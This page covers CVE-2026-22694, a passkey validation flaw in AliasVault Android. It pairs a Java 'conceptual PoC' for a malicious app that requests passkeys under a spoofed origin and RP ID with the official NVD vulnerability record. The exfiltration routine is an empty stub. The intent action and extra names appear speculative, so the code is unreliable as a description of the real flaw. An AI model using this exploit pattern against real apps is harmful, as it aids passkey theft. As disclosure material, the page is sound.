CVE-2026-22694

// CVE-2026-22694 PoC - Malicious Android App Attempting Passkey Hijacking // This is a conceptual PoC for educational purposes only package com.malicious.app; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import androidx.annotation.NonNull; import androidx.annotation.Nullable; public class PasskeyHijackActivity extends Activity { private static final String ALIASVAULT_PACKAGE = "com.aliasvault.android"; private static final int REQUEST_PASSKEY = 1001; // Target RP ID the attacker wants to obtain passkey for private static final String TARGET_RP_ID = "legitimate-website.com"; @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Craft malicious passkey request // Exploiting incomplete validation of: // 1. Calling app identity // 2. Origin // 3. RP ID Intent maliciousIntent = new Intent(); maliciousIntent.setPackage(ALIASVAULT_PACKAGE); maliciousIntent.setAction("android.credentials.VIEW_PASSKEY"); // Inject manipulated RP ID maliciousIntent.putExtra("rp_id", TARGET_RP_ID); // Spoof origin (incomplete validation allows this) maliciousIntent.putExtra("origin", "https://malicious-site.com"); // Missing proper app signature verification maliciousIntent.putExtra("calling_package", getPackageName()); startActivityForResult(maliciousIntent, REQUEST_PASSKEY); } @Override protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { super.onActivityResult(requestCode, resultCode, data); if (requestCode == REQUEST_PASSKEY) { // If successful, attacker obtains passkey response if (resultCode == RESULT_OK && data != null) { String passkeyResponse = data.getStringExtra("passkey_response"); // Exfiltrate passkey to attacker server exfiltrateData(passkeyResponse); } } } private void exfiltrateData(String data) { // Send stolen passkey to attacker-controlled server } } /* Fix verification in AliasVault Android Credential Provider: 1. Verify calling app's signature certificate 2. Validate origin matches expected domain 3. Strictly check RP ID hash 4. Implement proper app binding verification */

{"cve": {"id": "CVE-2026-22694", "sourceIdentifier": "[email protected]", "published": "2026-01-14T17:16:08.810", "lastModified": "2026-03-05T13:45:38.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AliasVault is a privacy-first password manager with built-in email aliasing. AliasVault Android versions 0.24.0 through 0.25.2 contained an issue in how passkey requests from Android apps were validated. Under certain local conditions, a malicious app could attempt to obtain a passkey response for a site it was not authorized to access. The issue involved incomplete validation of calling app identity, origin, and RP ID in the Android credential provider. This issue was fixed in AliasVault Android 0.25.3."}, {"lang": "es", "value": "AliasVault es un gestor de contraseñas centrado en la privacidad con alias de correo electrónico integrado. Las versiones de AliasVault para Android de la 0.24.0 a la 0.25.2 contenían un problema en cómo se validaban las solicitudes de claves de acceso de las aplicaciones de Android. Bajo ciertas condiciones locales, una aplicación maliciosa podría intentar obtener una respuesta de clave de acceso para un sitio al que no estaba autorizada a acceder. El problema implicaba una validación incompleta de la identidad de la aplicación llamante, el origen y el ID de RP en el proveedor de credenciales de Android. Este problema se solucionó en AliasVault Android 0.25.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aliasvault:aliasvault:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.24.0", "versionEndExcluding": "0.25.3", "matchCriteriaId": "A4D29B44-D84E-4350-8740-E6D5430F7BF0"}]}]}], "references": [{"url": "https://github.com/aliasvault/aliasvault/commit/b3350473103d6138ab2b63ca130c211717eac67d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aliasvault/aliasvault/issues/1440", "source": "[email protected]", "tags": ["Patch", "Issue Tracking"]}, {"url": "https://github.com/aliasvault/aliasvault/pull/1441", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/aliasvault/aliasvault/releases/tag/0.25.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/aliasvault/aliasvault/security/advisories/GHSA-mvg4-wvjv-332q", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory", "Mitigation"]}]}}